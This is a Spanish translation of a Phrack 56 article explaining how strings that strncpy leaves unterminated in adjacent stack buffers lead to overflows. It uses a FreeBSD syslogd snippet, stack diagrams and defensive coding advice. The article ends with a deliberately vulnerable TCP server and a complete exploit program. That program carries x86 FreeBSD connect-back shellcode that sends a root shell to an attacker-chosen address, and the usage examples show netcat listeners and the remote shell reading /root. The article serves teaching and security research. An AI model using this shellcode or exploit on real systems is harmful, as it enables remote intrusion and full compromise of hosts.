/* este documento ha sido traducido por honoriak . para cualquier critica, duda, idea o sugerencia no dudes en escribirme. gracias a twitch por permitirme la traduccion y distribucion de este doc */ |----- BENEFICIANDOTE DE LOS ESPACIOS DE MEMORIA ADYACENTE NO TERMINADOS -----| |-----------------------------------------------------------------------------| |------------------------- twitch -------------------------| ----| Introduccion Por que otro articulo de buffer overflows en phrack?, porque la mayoria de los conocidos strcpy()'s han sido reemplazados con strncpys()'s, y porque los shellcodes cambian, te presento otra tecnica de buffer overflow para que disfrutes pero como 'Frame Pointer Overwriting' (Sobreescritura del puntero de marco) de P55, este no es el mas comun de los problemas, pero existe, y es 'explotable'. Este articulo da detalles sobre los peligros de los buffers no terminados (las cadenas no terminadas para ser especificos), y el impacto que conlleva esto en la securidad de una aplicacion. Esta cuestion se discute desde varias situaciones potenciales en este texto, teminando con un exploit de ejemplo que abusa de los buffers de cadenas adyacentes no terminadas para redireccionar el programa a traves de un buffer overflow. Como la mayoria de los bugs este no es un problema desconocido, aunque juzgando en base a la busqueda de fuentes sobre el tema, parece que no es una cuestion ampliamente entendida. El codigo de ejemplo contiene referencias de arquitecturas idiosincraticas y fragmentos de las paginas del man para mostrar como va FreeBSD en arquitecturas x86. Debido a las suplicas populares, el nombre 'data' es tratado como singular en este documento, aunque en realidad esto sea erroneo. /* este problema no lo hay en la version española */ ----| Recordatorio Si ya sabes como funciona un buffer overflow (y si has leido phrack durante los ultimos dos años, podrias no saberlo?), salta esta seccion. Cuando un programa aloja un buffer y despues copia datos arbitrarios en este buffer, este debe de ser lo suficientemente grande para lo que va a ser copiado. Si hay mas datos de los que admite la memoria reservada, todos los datos seran copiados, pero sobrepasando el buffer designado aleatoriamente, y lo que es aun mas importante, los datos seran sobreescritos. Todo esto es realmente malo. Si los datos que son copiados son proporcionados por el usuario, puede hacer cosas malas como cambiar el valor de las variables, redireccionar el flujo de ejecucion del programa, etc. Un overflow comun seria: void func(char *userdata) { char buf[256]; ... strcpy(buf, userdata); ... } El programador asume que los datos que son copiados seran de menos de 256 bytes y cabran en el buffer. Desafortunadamente, desde que los datos que son copiados los decide el usuario, podria meter algo malo y de cualquier tamaño. La funcion strcpy() continuara copiando los bytes desde *userdata hasta que sea encontrado un NULL, y a partir de los 256 habra un desbordabien (overflow). Asi que, en un esfuerzo por evitar que la gente abusase de el software, los programadores se asguraron de que solo fuesen copiados tantos datos como caben en el espacio del buffer. Para esto, ellos normalmente hara esto: void func(char *userdata) { char buf[256]; ... strncpy(buf, userdata, 256); ... } strncpy() solo copiara los bytes que especifiques. Asi que, la maxima cantidad de datos que seran copiados, en este ejemplo, son 256, y nada se sobreescribira (nota que los cachos de codigo ejemplifican el problema discutido). Para una mayor explicacion sobre buffer overruns, redireccion del programa, y 'smashing the stack for fun and profit', consulta el articulo que tiene esto ultimo como nombre en P49-10. ----| La esencia La esencia de la cuestion es que algunas funciones que usa un programador para evitar los buffers overflows no terminan automaticamente una cadena/buffer con un NULL. Eso en realidad, hace que el argumento del tamaño del buffer que se da a estas funciones es el tamaño absoluto- no el tamaño de la cadena. Para ser mas claros, un fragmento de la pagina del man de strncpy(): char * strncpy(char *dst, const char *src, size_t len) ... The strncpy() copies not more than len characters into dst, appending `\0' characters if src is less than len characters long, and _not_+ terminating dst if src is more than len characters long. ... +(underline present in the source) Para entender lo que significa esto, consideremos el caso de dos arrays de caracteres automaticos, alojados de la siguiente forma: char buf1[8]; char buf2[4]; El compilador va probablemente a situar estos dos buffers uno a continuacion del otro en la pila. Ahora, consideremos el esquema de la pila que viene a continuacion: Memoria cada vez mas alta || ----------------> [Parte mas alta de la pila] || ----------------> [ buf2 - 0 ] || ----------------> [ buf2 - 1 ] || ----------------> [ buf2 - 2 ] || ----------------> [ buf2 - 3 ] || ----------------> [ buf1 - 0 ] || ----------------> [ buf1 - 1 ] || ----------------> [ buf1 - 2 ] || ----------------> [ buf1 - 3 ] || ... || ----------------> [ buf1 - 7 ] || || ... \/ [ Recuerda que la pila decrece en la arquitectura de nuestro ejemplo (y probablemente en la tuya tambien), asi que el esquema interpretalo al reves ] /* lee el texto de taeho oh sobre buffers en alpha si trabajas en esta arquitectura ya que la estructuracion de la pila no es completamente igual a la de x86 intel */ Aunque, si un programador hizo lo siguiente: void func() { char buf1[8]; char buf2[4]; fgets(buf1, 8, stdin); strncpy(buf2, buf1, 4); } Asumiento que el usuario metio la cadena 'iceburn', despues del strncpy() la pila tendria un aspecto como este: Cada vez memoria mas alta || ----------------> [Parte mas alta de la pila] || ----------------> [ 'i' (buf2 - 0) ] || ----------------> [ 'c' (buf2 - 1) ] || ----------------> [ 'e' (buf2 - 2) ] || ----------------> [ 'b' (buf2 - 3) ] || ----------------> [ 'i' (buf1 - 0) ] || ----------------> [ 'c' (buf1 - 1) ] || ----------------> [ 'e' (buf1 - 2) ] || ----------------> [ 'b' (buf1 - 3) ] || ----------------> [ 'u' (buf1 - 4) ] || ----------------> [ 'r' (buf1 - 5) ] || ----------------> [ 'n' (buf1 - 6) ] || ----------------> [ 0x00 (buf1 - 7) ] || || ... \/ Sabemos de las paginas del man que strncpy() no va a copiar mas de 4 bytes. Pero la cadena src es mas grande de 4 bytes, y no sera de terminacion nula. Asi, strlen(buf2) es ahora 11, aunque sizeof(buf2) sea 4. Esto no es un overflow, ya que no hay datos mas alla de la frontera de espacio reservado para ser sobreescritos. Aunque, esto establece una situacion bastante pecualir. Por ejemplo, el resultado de: printf("You entered %s\n", buf2); produciria lo siguiente You entered: icebiceburn No exactamente lo que era nuestra intencion. ----| Aparicion Este problema surge en el mundo real aparentemente de forma benigna y misteriosa (arcana, literalmente). El fragmento de codigo que viene a continuacion es del syslogd.c de FreeBSD 3.2-RELEASE: /* * Validate that the remote peer has permission to log to us. */ int validate(sin, hname) struct sockaddr_in *sin; const char *hname; { int i; size_t l1, l2; char *cp, name[MAXHOSTNAMELEN]; struct allowedpeer *ap; if (NumAllowed == 0) /* traditional behaviour, allow everything */ return 1; strncpy(name, hname, sizeof name); if (strchr(name, '.') == NULL) { strncat(name, ".", sizeof name - strlen(name) - 1); strncat(name, LocalDomain, sizeof name - strlen(name) - 1); } ... } Se supone que hname es de al menos MASHOSTNAMELEN bytes de largo y que no contiene un '.'. Esto significa que el calculo del tamaño del argumento por parte de strncat se expandira a: sizeof name == MAXNAMELEN strlen(name) >= MAXNAMELEN Asi, el tamaño sera < 0 Bueno, desde que la longitud del parametro pasado a strncat es de tipo size_t, que es unsigned, strncat estara dispuesto a añadir una forma de meter mas bytes. Asi, todo el LocalDomain sera añadido al 'name' (el cual esta lleno), ocurrira un overflow y syslogd dara un seg fault cuando se devuelva validate(). De forma accidental, a no ser que LocalDomain para el host esté en un offset apropiado en la pila, este ejemplo solo sera explotable como una forma para killear syslog (de forma accidental, 0xbfbfd001.com esta disponible). ----| La esencia + Aparicion = Oportunidad Aunque este tipo de overflow a lo mejor es explotable de varias maneras (y desde luego, se presentara en gran numero de formas), la mejor y mas facil de aprender es la redireccion del programa. Por favor, date cuenta de que aunque las situaciones de ejemplo que presento son irreales (inventadas), estas condiciones se presentan en gran cantidad de software de todo el mundo. Ahora, presentemos una situacion en la que el usuario tiene el control sobre los contenidos de los dos buffers adyacentes. Considera el siguiente fragmento: int main(int argc, char **argv) { char buf1[1024]; char buf2[256]; strncpy(buf, argv[1], 1024); strncpy(buf2, argv[2], 256); ... if(somecondition) print_error(buf2); } void print_error(char *p) { char mybuf[263]; sprintf(mybuf, "error: %s", p); } Un diagrama de la pila seria realmente largo y redundante, asi que no lo pondre aqui, pero deberia estar claro lo que pasa. El programador asume el libre uso de strncpy() en el main(), que los datos se 'limpiaran' cuando alcancen print_error(). Asi, se asume que sprintf() sera llamado sin incidentes. Desafortunadamente, desde que p apunta a buf2, y bug2 no esta terminado correctamente, sprintf() continuara copiando hasta que encuentre un NULL en algun sitio despues del final de buf1. Oh mierda. ----| Explotacion La 'explotacion' (con el proposito de la redireccion del programa) en estas condiciones es ligeramente diferente al caso de un buffer overrun simple y tradicional. Primeramente, un pequeño recordatorio sobre la 'explotacion' de buffer overflows tradicionales. Asumiendo que queremos desbordar un buffer simple de 256 bytes, nuestro payload tendria un aspecto como este (el diagrama no esta hecho a escala obviamente): [ 0 ....................................................256.. ~280 ] -------------------------------------------------------------------- | | | | | | Grupo de NOP's | shellcode | Mas NOP's | offset_a_shellcode | | | | | | -------------------------------------------------------------------- | Buffer | |________________________________________________________| Todo lo que hacemos es pasar suficientes datos para que cuando ocurra el overflow, el offset a nuestro shellcode (una direccion en algun lugar de la pila) sobreescriba el puntero de las instrucciones salvadas. Asi, cuando retorna la funcion vulnerable, la ejecucion del programa es redirigida a nuestro codigo. Ahora, asumimos que queremos desbordar otro buffer de 256 bytes, refiriendonos exactamente a print_error() del fragmento de codigo de la ultima seccion. Para este fin tendremos que usar buf1 y buf2 al mismo tiempo. Todo lo que tenemos que hacer es llenar todo el buf2 con nuestro shellcode y NOP's, y llenar el principio del buf1 con nuestro offset. Asi, despues de los strncpy()'s. buf1 tiene el siguiente aspecto: [ 0 ......................................................... 1024 ] -------------------------------------------------------------------- | | | | offset_a_shellcode | Lleno con NULL's a traves de strncpy() | | | | -------------------------------------------------------------------- Y buf2 tendra este aspecto: [ 0 .......................................................... 256 ] -------------------------------------------------------------------- | | | | | Grupo de NOP's | shellcode | Mas NOP's | | | | | -------------------------------------------------------------------- Esto amaño es necesario debido a la forma en la que los buffers se colocan en la pila. Lo que es suministrado como argv[1] (los datos que son copiados en buf1) estaran localizados en una parte mas alta de la memoria que los datos suministrados como argv[2] (los cuales se copiaran a buf2). Asi que tecnicamente, suministramos el offset al principio de la cadena del exploit, mas que al final. Cuando print_error() se llama, la pila en main(), tiene este aspecto: [Top of stack Upper Memory] [ 0 .............................................~300../ /... 1280 ] -------------------------------------------------------/ /---------- | | | | / / | | Bunch of NOP's | shellcode | More NOP's | offset / / NULL's | | | | | / / | -------------------------------------------------------/ /---------- Esto se parece bastante al payload tradicional descrito anteriormente. Cuando se llama a print_error(), se pasa un puntero al principio de buf2, o, la parte alta de la pila en main(). Asi, cuando sprintf() se llama, ocurre un overrun, redirigiendo la ejecucion del programa a nuestro shellcode. Ten en cuenta que la alineacion aqui esta en clave, desde que el compilador 'padea' uno de los buffers, siendo esto un problema. El buffer que esta 'padded' y los contenidos de los 'pad bytes' jugaran un papel importante en la 'explotacion'. Si buf2 esta 'padded', y los bytes 'padded' contienen NULL's, no ocurrira un overflow (o al menos, no un overflow aprovechable). Si los bytes 'padded' no son null, entonces son tan largos los 'pad bytes' que terminan en una 'double-word boundary' (lo que será casi seguro), y podemos sobreescribir el puntero de instruccion salvado. Si buf1 esta 'padded', el que los pad bytes contengan NULL's o no no importa en este caso, e iran despues de nuestro shellcode. ----| Desenlace Como con todos los bugs, el fallo aqui no es de las funciones de libreria, del lenguaje de programacion C o de los sistemas operativos que no marcan los datos como no ejecutables sino de lo que los programadores hacen. Antes de tratar el matrial potencialmente peligroso (datos arbitrarios), se deben de tomar ciertas precauciones. Se deben de leer las man. Los buffers deben de ser terminados. Los valores devueltos chequeados. Todo lo que se va a tomar es un '+1' y una inicializacion; mira que dificil es: char buf[MAXSIZE + 1]; FILE *fd; size_t len; ... memset(buf, 0, MAXSIZE + 1); len = fread((void *)buf, 1, MAXSIZE, fd); /* * This won't actually happen, but it is supplied to * prove a point */ if(len > MAXSIZE){ syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n", getpid(), getuid()); exit(1); } ... Ok, esto es un poco una idiotez, pero espero que el intento quede claro. Y a proposito, lo siguiente tambien debe de ser revisado por programadores vagos: fread() the read() family [ read(), readv(), pread() ] memcpy() memccpy() memmove() bcopy() for(i = 0; i < MAXSIZE; i++) buf[i] = buf2[i]; gethostname() strncat() Estas funciones seran interesantes en lo referente a terminaciones nulas: snprintf() fgets() Ahora, a romper algo, o mejor aun, a arreglar algo. ----| Ejemplo Adjunto esta un exploit de ejemplo para un programa vulnerable de ejemplo. El programa vulnerable es realmente patetico, y no tiene otro proposito que: a) Ofrecer un ejemplo de explicacion del exploiting de este tipo de buffer overrun. b) Ofrecer una oportunidad viable para alguna nueva shellcode. La decision de no presentar un exploit para software real es: a) El hecho de que publicar 0-day en phrack no esta muy bien. b) Si no he informado sobre el bug que yo he encontrado seria una putada. c) El hecho de que algunos bugs que he encontrado no hallan sido patcheados en el momento de salir este doc. d) El ejemplo presentado es mas facil que un aplicacion real. e) Este articulo es para informar, www.meaninglessdomain.com. Pero hey, tu has conseguido gratis una shellcode, asi que la lectura no ha sido por completo una perdida de tiempo. El exploit te dara una shell en el sistema y el puerto necesario para conectar. Creo que es util. Lee los comentarios en boobies.c para las instrucciones de uso. El shellcode es para i386-FreeBSD, asi que necesitaras que el programa vulnerable se ejecute en x86 FreeBSD. El exploit debe compilar y ejecutarse en cualquiera -- aunque a lo mejor necesitas corregir la alineacion para ciertas arquitecturas. A proposito, las versiones del shellcde para x86 linux y SPARC Solaris las tienes disponibles en www.vicar.org/~twitch/projects/llehs. ----| El codigo /* no he traducido los comentarios; la explicacion me parece facil, y de entender el texto, entenderas el exploit */ <++> p56/Boobies/vuln.c !66dd8731 /* * vuln.c * * 01/09/1999 * * * Example to display how non-terminated strings in adjacent memory * spaces may be exploited. * * Give it a port to listen on if you wish as argv[argc - 1] * (the default is 6543). * * The code is sloppy because I really didn't care. * Pretend it's a game on a Happy Meal(tm) box- how many other exploitable * conditions can you find? * * to compile- * [twitch@lupus]$ gcc -Wall -o vuln vuln.c */ #include #include #include #include #include #include #include #include #include #ifndef MAXHOSTNAMELEN #define MAXHOSTNAMELEN 256 #endif /* MAXHOSTNAME */ #define PORT 6543 int be_vulnerable(int); void oopsy(char *); int do_stuff(char *, int, u_short); int main(int argc, char **argv) { char myname[MAXHOSTNAMELEN + 1]; struct hostent *h; int r; u_short port; port = PORT; if(argc > 1) port = strtoul(argv[argc - 1], NULL, 10); memset(myname, 0, MAXHOSTNAMELEN + 1); r = gethostname(myname, MAXHOSTNAMELEN); if(r){ perror("gethostname"); return(1); } if(!(strlen(myname))){ fprintf(stderr, "I have no idea what my name is, bailing\n"); return(1); } h = gethostbyname(myname); if(!h){ fprintf(stderr, "I couldn't resolve my own name, bailing\n"); return(1); } return(do_stuff(h->h_addr, h->h_length, port)); } /* * do_stuff() * Listen on a socket and when we get a connection, had it * off to be_vulnerable(). */ int do_stuff(char *myaddr, int addrlen, u_short port) { struct sockaddr_in sin, fin; int s, r, alen; char *p; memcpy(&sin.sin_addr.s_addr, myaddr, addrlen); p = inet_ntoa(sin.sin_addr); if(sin.sin_addr.s_addr == -1L){ fprintf(stderr, "inet_addr returned the broadcast, bailing\n"); return(1); } memset(&sin, 0, sizeof(struct sockaddr)); sin.sin_family = AF_INET; sin.sin_port = htons(port); s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(s < 0){ perror("socket"); return(1); } alen = sizeof(struct sockaddr); r = bind(s, (struct sockaddr *)&sin, alen); if(r < 0){ perror("bind"); return(1); } r = listen(s, 1); if(r < 0){ perror("listen"); return(1); } printf("Accepting connections on port %d...\n", port); memset(&fin, 0, alen); r = accept(s, (struct sockaddr *)&fin, &alen); if(r < 0){ perror("accept"); return(1); } return(be_vulnerable(r)); } /* * be_vulnerable() * We grab a chunk o' data from the wire and deal with it * in an irresponsible manner. */ int be_vulnerable(int s) { int r; char buf[1024], buf2[256]; memset(buf, 0, 1024); memset(buf2, 0, 256); r = read(s, (void *)buf, 1024); r = read(s, (void *)buf2, 256); oopsy(buf2); close(s); return(0); } /* * oopsy() * Copy data into local storage to do something with it. * I'm lazy so all this does is cause the overflow. */ void oopsy(char *p) { char mybuf[256]; fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p)); strncpy(mybuf, p, strlen(p)); } <--> <++> p56/Boobies/boobies.c !f264004c /* * boobies.c * * 01/09/1999 * * * Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled * three times) Irish Whiskey, and that one SCO guy's beautiful lady. * * * Example exploit for vuln.c to display how non-terminated strings * in adjacent memory can cause real troubles. * * This shellcode will establish a TCP connection to any port and * address you deem fit (see the shellcode for where/how to do this) * and drop a shell. You won't get a prompt, but otherwise, it is a * full shell with the privleges of whatever the exploited program had. * * This is the x86 FreeBSD version- Linux and SPARC Solaris versions, * as well as full assembly listings are available at * www.vicar.org/~twitch/projects/llehs * * To use this exploit, run the silly little vulnerability demo * program on some system (in this example it's running on a system * called lupus) thusly: * * [twitch@lupus]$ ./vuln * Accepting connections on port 6543... * * Then do this on the attacking system (or wherever you are directing * the shell): * * [twitch@pornstar]$ nc -n -v -l -p 1234 * listening on [any] 1234 ... * * [ from another terminal/window ] * * [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543 * lupus [192.168.1.6] 6543 (?) open * * [ back to the first terminal/window ] * * connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234 * uname -n * lupus.vicar.org * ls -alF /root/ * total 14 * drwxr-x--- 3 root wheel 512 Dec 8 20:44 ./ * drwxr-xr-x 19 root wheel 512 Dec 10 19:13 ../ * -rw------- 1 root wheel 4830 Jan 4 16:15 .bash_history * -rw------- 2 root wheel 383 May 17 1999 .cshrc * -rw------- 1 root wheel 1354 Jan 5 10:33 .history * -rw------- 1 root wheel 124 May 17 1999 .klogin * -rw------- 1 root wheel 491 Dec 4 19:59 .login * -rw------- 2 root wheel 235 May 17 1999 .profile * drwxr-x--- 2 root wheel 512 Dec 8 20:44 .ssh/ * ^C * [twitch@pornstar]$ * * You will need to supply an offset of around -50 if * vuln is running on a port besides the default. * * The exploit has a few options that you can read about by doing: * [twitch@pornstar]$ ./boobies -h * usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment] * -o Nudge the offset offset_nudge bytes. * -p Port to which the target should connect. * -a Address to which the target should connect. * (Must be an IP address because I'm lazy.) * -A Nudge the alignment. * -v Be verbose about what we're doing. * -h The secret to life. * * If you compile this on non-x86 architectures, you will prolly have to * play with the alignment a bit. * * to compile- * [twitch@pornstar]$ gcc -o boobies -Wall boobies.c * Be alert, look alive, and act like you know. */ #include #include #include #include #include #include #include #include char llehs[] = "\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18" /* 14 */ "\xc6\x45\xe9\x02\x31\xc0\x66\xb8" /* 22 */ /* * Replace with (htons(port) ^ 0xff). * Defaults to 1234. */ "\xfb\x2d" "\x66\x35\xff\xff\x66\x89\x45\xea\xb8" /* 33 */ /* * Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff). * Defaults to 192.168.1.6. */ "\x3f\x57\xfe\xf9" "\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0" "\x61\xcd\x80" "\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80" "\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80" "\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80" "\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80" "\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80" "\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80" "\x31\xc0\x40\xcd\x80" "\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; /* * This offset seems to work if you are running the exploit and the * vulnerable proggy on the same machine, with vuln listening on its * default port. If vuln is listening on a user-supplied port, this * needs to be around 0xbfbfd0fc. YMMV. */ #define OFFSET 0xbfbfd108 #define NOP 0x90 #define BUFSIZE 1300 #define SHELLSIZE 143 #define PAD 32 #define ALIGNIT 0 /* * Offset into the shellcode for the port */ #define SCPORTOFF 22 /* * Offset into the shellcode for the address */ #define SCADDROFF 33 void usage(char *proggy) { fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ", proggy); fprintf(stderr, "[-A alignment]\n"); fprintf(stderr, "\t-o\t\tNudge the offset offset_nudge bytes.\n"); fprintf(stderr, "\t-p\t\tPort to which the target should connect.\n"); fprintf(stderr, "\t-a\t\tAddress to which the target should connect.\n"); fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n"); fprintf(stderr, "\t-A\t\tNudge the alignment.\n"); fprintf(stderr, "\t-v\t\tBe verbose about what we're doing.\n"); fprintf(stderr, "\t-h\t\tThe secret to life.\n"); fprintf(stderr, "\n"); exit(1); } void main(int argc, char **argv) { char b00m[BUFSIZE], *p, c; char *port, *addr; u_short portd; u_long addrd; extern char *optarg; int i, nudge = 0, o = OFFSET, align = 0; int verb = 0; port = &(llehs[SCPORTOFF]); addr = &(llehs[SCADDROFF]); while((c = getopt(argc, argv, "o:p:a:A:vh")) != -1){ switch(c){ /* * Nudge to the offset */ case 'o': nudge = strtoul(optarg, NULL, 10); break; /* * Port to which we connect */ case 'p': portd = strtoul(optarg, NULL, 10); if(verb) fprintf(stderr, "Shell coming back on port %d\n", portd); portd = htons(portd); portd ^= 0xffff; if(verb) fprintf(stderr, " (0x%x)\n", portd); memcpy((void *)port, (void *)&portd, sizeof(u_short)); break; /* * Address to which we connect */ case 'a': addrd = inet_addr(optarg); if(addrd == -1L){ fprintf(stderr, "Bad address '%s'.\n", optarg); exit(1); } addrd ^= 0xffffffff; memcpy((void *)addr, (void *)&addrd, sizeof(u_long)); if(verb){ fprintf(stderr, "Shell is being sent to %s.\n", optarg); fprintf(stderr, " (0x%lx)\n", addrd); } break; /* * Alignment (should only be necessary on architectures * other than x86) */ case 'A': align = strtoul(optarg, NULL, 10); break; case 'v': verb++; break; case 'h': default: usage(argv[0]); break; } } o += nudge; align += ALIGNIT; if(verb){ fprintf(stderr, "Offset is 0x%x\n", o); fprintf(stderr, "Alignment nudged %d bytes\n", align); } p = b00m; memset(p, 0x90, sizeof(b00m)); p = b00m + ALIGNIT; for(i = 0; i < PAD; (i += 4)){ *((int *)p) = o; p +=4; } p = (&b00m[0]) + PAD + PAD + ALIGNIT; memcpy((void *)p, (void*)llehs, SHELLSIZE); b00m[BUFSIZE] = 0; fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m)); printf("%s", b00m); exit(0); } <--> /* finished translation Sat Jan 20 12:59:51 CET 2001 */